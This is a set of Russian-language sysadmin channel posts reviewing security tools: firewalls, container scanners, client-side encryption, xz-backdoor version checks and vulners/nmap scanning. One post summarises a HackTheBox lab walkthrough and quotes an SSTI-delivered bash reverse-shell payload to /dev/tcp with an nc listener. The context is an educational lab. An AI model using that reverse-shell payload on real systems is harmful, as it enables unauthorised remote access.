ServerAdmin.ru
28.1K subscribers
231 photos
26 videos
10 files
2.56K links
Авторская информация о системном администрировании.

Информация о рекламе: @srv_admin_reklama_bot
Автор: @zeroxzed

Второй канал: @srv_admin_live
Сайт: serveradmin.ru
Download Telegram
​​Тема с Portmaster получила очень живой отклик в виде сохранений заметки. Решил её немного развить и предложить альтернативу этому хоть и удобному, но очень объёмному и тяжёлому приложению. Тяжёл прежде всего интерфейс на Electron, само ядро там на Go. В противовес можно поставить simplewall. Это обёртка над Windows Filtering Platform (WFP) весом буквально в мегабайт. В репозитории все скрины на русском языке, так что автор, судя по всему, русскоязычный.

Компания Microsoft действует очень разумно и логично в своей массовой системе Windows. Закрывает наиболее актуальные потребности людей, замыкая их в своей экосистеме. Отрезает всех остальных от бигдаты пользователей. Её встроенных средств безопасности и защиты достаточно среднестатистическому пользователю. Нет необходимости ставить сторонние антивирусы или прочие приложения.

WFP - это набор системных служб для фильтрации трафика, охватывающий все основные сетевые уровни, от транспортного (TCP/UDP) до канального (Ethernet). Simplewall взаимодействует с WFP через встроенный API. То есть это не обёртка над Windows Firewall, как может показаться вначале.

Основная функция Simplewall - контроль сетевой активности. Вы можете заблокировать весь сетевой доступ, а при попытке какого-то приложения получить этот доступ, увидите сообщение от программы, где можно либо разрешить активность, либо запретить. Можно создавать готовые правила для тех или иных приложений.

Simplewall поддерживает работу с системными службами, приложениями из магазина, WSL, с обычными приложениями. Можно логировать сетевую активность приложений или служб. Несмотря на то, что используется встроенный системный инструмент, он позволяет заблокировать в том числе и обновления системы с телеметрией.

Особенность Simplewall в том, что все настроенные правила будут действовать даже если приложение не запущено. Реальная фильтрация выполняется с помощью WFP по преднастроенным правилам. По умолчанию, после запуска фильтрации, программа заблокирует всю сетевую активность. На каждое приложение, которое попросится в сеть, будет выскакивать окно с запросом разрешения или запрета сетевой активности. То есть это очень простой способ заблокировать все запросы с машины во вне.

#windows #security #network
​​Для автоматической проверки Docker образов на уязвимости (CVE) есть хороший open source инструмент Trivy. Год назад я делал по нему пару заметок с обзором и автоматическим исправлением уязвимостей. Потом всё это в небольшую статью оформил.

Этот продукт хорошо дополняет open source утилита Dockle. Она тоже проверяет контейнеры на уязвимости, но помимо этого проверяет образ на соответствие best-practice Dockerfile и рекомендации CIS Docker Benchmarks (#cis).

Использовать очень просто, так как это по сути одиночный бинарник. В репозитории есть пакеты для установки под все популярные системы. Можно запустить и в Docker без установки:

# docker run --rm goodwithtech/dockle:v0.4.14 [YOUR_IMAGE_NAME]

Пример отчёта можно посмотреть на тестовом образе, для которого есть замечания:

# docker run --rm goodwithtech/dockle:v0.4.14 goodwithtech/dockle-test:v2

С помощью ключа -f json вывод можно сохранить в json файле. Dockle легко интегрировать в пайплайн. В репозитории есть примеры (gitlab).

Исходники

#docker #devops #cicd #security
Заметка немного не по теме канала, но мне она показалась интересной, поэтому решил поделиться. В том числе для расширения кругозора. На днях посмотрел видео:

▶️ Hacking - O.MG Cable. 😈 Опасный кабель

Забайтился на заголовок, добавил ролик к просмотру и в итоге посмотрел. Речь там идёт про обычный usb провод с type-c на конце. В провод зашит небольшой чип c wifi модулем. Через этот чип и модуль можно эмулировать нажатия клавиш на компе и выполнять команды.

В целом, я всегда знал, что usb порты это потенциально опасные штуки и втыкать туда что попало нельзя. Но я не представлял, что устройства для скрытной деятельности настолько простые. Я думал, что это какие-то спецсредства, недоступные обычным людям или админам. Для которых нужно специальное ПО, которое пройдёт мимо антивирусов, запустится на компе и будет что-то делать.

А оказывается, можно купить вот такой простой проводочек за 100 баксов, а на aliexpress наверное и дешевле, и прикалываться над коллегами в офисе. На видео наглядно на конкретных примерах показано, как это работает. Очевидно, что всё то же самое можно делать и более скрытно.

Первое, что мне пришло в голову, когда увидел провод – это отличный подарок для какого-нибудь айтишника. Необычно и функционально. Не знаю только, насколько реально его купить в РФ. Сам автор канала получил провод на работе.

#security #железо
​​Расскажу про необычный, но на мой взгляд полезный сервис. С его помощью можно закрыть паролем переход по какому-то url, который по каким-то причинам нельзя или не хочется светить в публичном пространстве. Речь пойдёт про простой open source проект link-lock.

Link-lock шифрует сам url, используя при этом возможности браузера. На сервере ничего не хранится. Расшифровка тоже происходит в браузере клиента. После расшифровки урла, происходит редирект на закрытую ссылку.

Посмотреть, как это работает, можно на странице публичного сервиса, поднятого автором:

https://jstrieb.github.io/link-lock/

Он представляет из себя статичный сайт с javascript, так что вы можете поднять его у себя. Достаточно склонировать его к себе и положить в директорию с веб сервером. Единственный момент - он все ссылки создаёт через домен автора jstrieb.github.io. Чтобы использовать свой, просто замените везде в исходниках это имя на своё. Я это проделал, всё получилось.

Подобный сервис может позволить хранить список ссылок в публичных местах или компьютерах, доступ к которым невозможен без знания пароля. Параноики могут шифровать свои ссылки в каких-то облачных сервисах типа evernote или notion. Можно по почте отправлять какие-то ссылки, а пароль передавать другим путём. Таким образом в почте не будет отсвечивать эта ссылка. Например, так можно передавать ссылку на загрузку конфигурации VPN, не светя в переписки адрес веб сервера, на котором живёт веб интерфейс.

Исходники

#security
​​Знакомый вчера попросил помочь с компом с установленной Windows. Я давно уже особо не занимаюсь обычными компами и каких-то нюансов, современных проблем пользователей тоже не знаю. У меня дома 5 компов, на каждого члена семьи по одному. Вот это моя зона ответственности.

В общем, решил помочь. Симптомы такие, что ни в одном браузере ни один сайт не открывается. Ругается на то, что не может проверить сертификат. А сертификат там заменяет Kaspersky, так как он установлен, лицензия актуальна, все проверки стоят. При этом сам Kaspersky тоже выбрасывает ошибки: не может обновиться (хотя ещё вчера обновлялся), не может проверить лицензию. Хотя если зайти в ЛК Каспера, там видно, что лицензия активна.

До кучи AnyDesk тоже не может подключиться к своей сети. Выдаёт ошибку соединения, без подробностей. Так что подключаться мне пришлось через другой комп в локалке по RDP. Хорошо хоть этот доступ сработал.

Не буду томить подробностями того, что там делал (ребуты, проверки на вирусы и т.д.). Сразу скажу, в чём была проблема. Случайно увидел, что дата неправильная. Время и число верные, а месяц стоит апрель, а не февраль. Поставил правильную дату и сразу всё заработало. Кто, когда и как поменял время, осталось неизвестным. Сам знакомый говорит, что не делал этого. Я не стал разбираться. Проблема решилась, да и ладно. Сказал, чтобы следил за временем, если вдруг опять изменится.

Вообще, я удивлён, что неправильное время из будущего принесло столько проблем, что аж работу антивируса нарушило. По идее, антивирус должен следить за этим, если для его работы это критично. Я не раз сталкивался с тем, что проверки сертификатов не работают из-за неправильного времени, но тут одно к одному приложилось несколько проблем: anydesk и kaspersky. Сразу не пришло в голову, что это всё из-за сертификатов и невозможности их проверить.

По факту сейчас всё с использованием TLS работает, так что время очень важный параметр. Его мониторить надо. Во времена, когда Zabbix по умолчанию не умел следить за временем на хостах, я придумывал свои проверки. Потом они уже добавили в стандартные шаблоны это.

#windows #security
Вчера посмотрел очень интересное видео и прям кайфанул. Человек в режиме онлайн проходит задание сайта HackTheBox. Задание старое, за которое больше не дают баллы, поэтому по нему можно снять видео. Для тех, кто не в курсе, HackTheBox - популярная платформа с тестовыми заданиями для пентестеров, где надо что-то взламывать.

Само видео:
▶️  Прохождение Linux-машины средней сложности SANDWORM HackTheBox | КАК ПРОЙТИ SANDWORM.HTB

Тут может ничего особенного и нет, но я в таком формате ролики раньше не смотрел, поэтому очень зашло. Особенно мне понравилось то, что я всё понял 😀 Я примерно так себе и представлял взломы, но на практике никогда не видел реализацию. Многие инструменты, которые он использовал, я описывал у себя на канале в разное время.

Кратенько, что он делает на видео.

1️⃣ Исследует веб сервер с открытыми портами ssh, http, https. Обнаруживает, что веб приложение имеет уязвимость к инъекции шаблонов на стороне сервера (SSTI). На сайте есть форма, куда можно загрузить свой pgp ключ и зашифрованные им данные. И проверить, подходит ли ключ к шифровке. Так вот, в атрибуты ключа можно загнать payload в виде некоторого кода, который будет выполнен при загрузке ключа через форму, чтобы получить reverse shell. В payload он загнал bash -i >& /dev/tcp/10.10.14.20/1337 0>&1 и подключение ждал на 10.10.14.20 с помощью nc -lvnp 1337. Я об этом рассказывал вот тут и тут.

2️⃣ Далее он с помощью pspy стал наблюдать за всеми процессами в системе, не имея прав root. Заметил, что cron от root копирует и компилирует некоторые файлы на rust. К самим файлам не было доступа на запись, но там подгружался внешний модуль, куда уже можно было что-то записать. Залил туда payload и снова получил shell уже другого пользователя.

3️⃣ В завершении с помощью эксплоита получил выход из песочницы и получил права root.

В процессе работы активно использовал всевозможные линуксовые утилиты, в том числе веб сервер на python, про который я уже 100 раз писал.

В общем, видео интересное и интригующее. Даёт возможность посмотреть работу профи в режиме онлайн на его машине с привычными ему инструментами. В целом, для уверенного линукс админа нет никаких проблем переквалифицироваться в безопасника или пентестера, если есть такое желание. Это как раз база для таких направлений.

#security #видео
​​Расскажу про необычный и полезный сервис, который позволяет создать зашифрованные HTML странички, которые могут быть расшифрованы полностью на стороне клиента за счёт возможностей современных браузеров и JavaScript. То есть это полностью client side шифрование. На веб сервере лежит обычная html страничка. Никакой поддержки шифрования со стороны сервера не требуется.

Это простой, удобный и надёжный способ зашифровать какую-то приватную информацию и положить её полностью в публичный доступ. Посмотреть информацию может только тот, кто знает пароль. Он заходит на публичную страничку, видит форму для ввода пароля. Указывает его и получает доступ к данным. При этом сам html код зашифрован. Он может лежать на любом публичном хостинге. Расшифровать информацию можно только зная пароль.

Исходники сервера открыты:

https://github.com/robinmoisson/staticrypt

Можно развернуть его у себя и шифровать странички через свой сервис. А можно воспользоваться уже готовым сервисом, который доступен для всех желающих:

https://robinmoisson.github.io/staticrypt/

Указываете пароль, загружаете html код и на выходе получаете зашифрованную html страничку. Можно её скачать и открыть через свой браузер. Убедиться, что всё работает. Дальше можно положить её на любой публичный хостинг.

Такой сервис удобно использовать для публикации какой-то инструкции с чувствительными данными. Можно положить её в открытый доступ, а пользователям рассылать пароль, чтобы они смогли прочитать информацию.

Вот пример зашифрованной странички, которую я создал с помощью этого сервиса: https://serveradmin.ru/files/encrypted.html Пароль - serveradmin. Можете скачать html код и посмотреть, что он из себя представляет. В репозитории проекта описан принцип работы по шифрованию и расшифровке.

Напомню, что ранее я рассказывал про сервис link-loc, который похожим образом шифрует не саму страницу, а ссылку на неё. В связке с этим сервисом получается вообще полное шифрование и ссылки, и самой страницы.

#security
Начиная с пятницы, в сети наперебой постили новости с шокирующей уязвимостью в OpenSSH сервере CVE-2024-3094, которая позволяет получить доступ к SSH-серверу без аутентификации (на самом деле это не так). Якобы ей подвержены почти все современные системы. Я всю пятницу и субботу в сборах и дороге был, так что только вчера смог спокойно сесть и разобраться, что там случилось.

Сразу скажу, что если у вас Debian 11 или 12 можно вообще не переживать и не торопиться обновляться. Никаких проблем с найденной уязвимостью в этих системах нет. Заражённый пакет успел приехать только в тестовый репозиторий sid.

Расскажу своими словами, в чём там дело. OpenSSH сервер использует библиотеку liblzma. Насколько я понял, не все сервера её используют, но большая часть. Проверить можно так:

# ldd "$(command -v sshd)" | grep liblzma
liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007f4f01c9d000)

Уязвимой является версия библиотеки 5.6.0 и 5.6.1. Проверяем установленную у себя версию через пакетный менеджер. Для deb вот так:

# dpkg -l | grep liblzma
ii liblzma5:amd64         5.4.1-0.2           amd64    XZ-format compression library

Или напрямую через просмотр версии xz:

# xz --version
xz (XZ Utils) 5.4.1
liblzma 5.4.1

В Debian 12 указанной уязвимости нет, можно не переживать. В security-tracker есть отдельная страница по этой уязвимости. Там видно, что версия 5.6.1 была только в sid.

В rpm дистрибутивах нужно проверять версию пакета xz-libs:

# rpm -qa | grep xz-libs
xz-libs-5.2.4-4.el8_6.x86_64

Для 8-й ветки форков RHEL проблема тоже неактуальна. 9-й у меня нигде нет, там не проверял.

Вообще, история с этой уязвимостью очень любопытная. На самом деле она позвоялет выполнить произвольный код в системе, не оставляя следов в логах sshd. Подробный разбор работы есть на opennet. Сделано всё очень мудрёно и запутанно не без использования bash портянки, которая выглядит как обфускация. А обнаружили уязвимость случайно, потому что sshd стал чуток медленнее работать, чем раньше. А сколько таких уязвимостей есть в системах, которые ещё никто случайно не заметил?

#linux #security
​​Существует известный сервис для поиска уязвимостей vulners.com. Он платный и относительно дорогой, но при этом есть как бесплатные закрытые сервисы, так и open source продукты, которые вы можете использовать у себя. Покажу несколько примеров бесплатного использования.

1️⃣ Допустим, вы хотите выполнить разовый аудит системы, чтобы быстро понять, какие есть уязвимости в установленных пакетах. Для этого идёте на страницу https://vulners.com/scanner/audit, выбираете слева в меню Manual Audit. Указываете свою версию системы и получаете команду для выгрузки информации о пакетах. Для Debian она будет такая:

# dpkg-query -W -f='${Status} ${Package} ${Version} ${Architecture}\n'|awk '($1 == "install") && ($2 == "ok") {print $4" "$5" "$6}'

Копируете консольный вывод и вставляете в форму на сайте. Получаете результат и удивляетесь, как на свежеобновлённой системе может быть столько уязвимостей. Но если посмотреть внимательно, то почти все они некритические и обновлений для них нет и не будет, либо планируются только в будущем релизе.

Я удивился 10-ти бальной уязвимости по CVSS у tar от 2005 года (CVE-2005-2541). Суть её в том, что tar не информирует пользователя о том, что при извлечении файла у него могут стоять такие setuid и setgid, что сделает возможным запуск файлов с правами суперпользователя, если извлечение было выполнено из под него. На что в security-tracker дебиана разработчики дистрибутива ответили, что это его штатная возможность, в конце концов он же архиватор и поступает так, как ему указывают, ведь надо явно указать ключ -p.

2️⃣ Есть вариант проверять систему на уязвимости автоматически с помощью Agent Scanner. Для этого надо зарегистрироваться в системе и получить API для агента. Бесплатный тарифный план позволяет использовать до 10-ти агентов. Не знаю, насколько сейчас это актуально в рамках всевозможных санкций и блокировок. Я бы ставить не стал.

3️⃣ У vulners.com есть open source скрипт для nmap, который автоматически показывает уязвимости у обнаруженных служб. Вот это реально полезная штука, которая бесплатна, и её удобно использовать. Делается это так. Ставим nmap и клонируем себе репозиторий:

# apt install nmap
# git clone https://github.com/vulnersCom/nmap-vulners

В директорию ~/.nmap/scripts (если нет, создайте) скопируйте файл из репозитория vulners.nse. Теперь обновите базу данных:

# nmap --script-updatedb

Можно сканировать хосты с использованием базы данных vulners:

# nmap -sV --script vulners 192.168.13.15/32

Результат работы на картинке снизу.

4️⃣ У этого сервиса есть интеграция с Zabbix. Описание и все скрипты есть в отдельном репозитории. Эта штука когда-то работала. Я её пробовал. Некоторый лимит запросов есть через бесплатную учётку. Но работает всё так себе. Поддержки почти нет, с новыми версиями Zabbix сервера, где поменялся API, уже не работает. Когда обновят и будут ли - неизвестно. Так что не тратьте своё время, если вдруг надумаете посмотреть. Идея в целом неплохая, но поддерживать всё это хлопотно в том виде, как оно сделано.

#security #nmap
​​Вчера рассказал про сервис vulnersCom и кратко упомянул про его интеграцию с nmap. Сегодня хочу немного расширить эту тему. У компании cloudflare в их github репозитории есть небольшой продукт на основе nmap и скрипта vulners.nse - Flan. Он ничего особенного не делает, кроме небольшой автоматизации по передачи списка ip адресов для сканирования. Плюс, поддерживает разные форматы вывода результатов: html, json, xml, markdown. Также он умеет складывать результаты тестов в GCS Bucket или AWS S3 Bucket.

Описание Flan есть в блоге cloudflare. Проект старый и особо не развивается, но там и развивать нечего. Та функциональность, что в него заложена, нормально работает и не требует обновления. Покажу сразу на примере, как он работает и что делает.

Клонируем к себе репозиторий:

# git clone https://github.com/cloudflare/flan

Для того, чтобы понять, что тут будет происходить, достаточно посмотреть файлы Dockerfile и Makefile. Первый содержит простую инструкцию по сборке своего контейнера с nmap и скриптом nmap-vulners на борту. Дополнительно он копирует в контейнер python скрипты для поддержи различных форматов вывода.

Так что запуск сканирования выглядит следующим образом. Готовим список IP адресов в файле shared/ips.txt. Одиночные IP адреса нужно указывать без маски /32. Потом собираем контейнер. Все команды уже прописаны в Makefile, поэтому запускаем через него:

# make build

Чтобы всё получилось, Docker и make у вас должны стоять в системе. Если нет, то поставьте:

# curl -o - https://get.docker.com | bash -
# apt install make

Когда соберётся образ, можно запускать сканирование:

# make start

Результат будет выведен в консоль. Чтобы вывести его в html файл для удобного просмотра, запускаем так:

# make html

Результат будет в директории shared/reports. Можно запустить веб сервер, чтобы быстро посмотреть html файлы:

# cd ~/flan/shared/reports
# python3 -m http.server 80

Смотрим результат сканирования в удобочитаемом виде с активными ссылками на все CVE. Очень удобно. Можно этот процесс автоматизировать, поднять постоянный веб сервер и хранить результаты некоторое время.

Если не уважаете Docker, можете запускать без него. В Dockerfile всё показано, что надо сделать, для локального запуска. Надо поставить несколько пакетов, python модулей, забрать скрипты pthon и запускать run.sh.

Отдельно в репозитории рассказано, как всё это сканирование запускать в Kubernetes для проверки контейнеров.

#security #nmap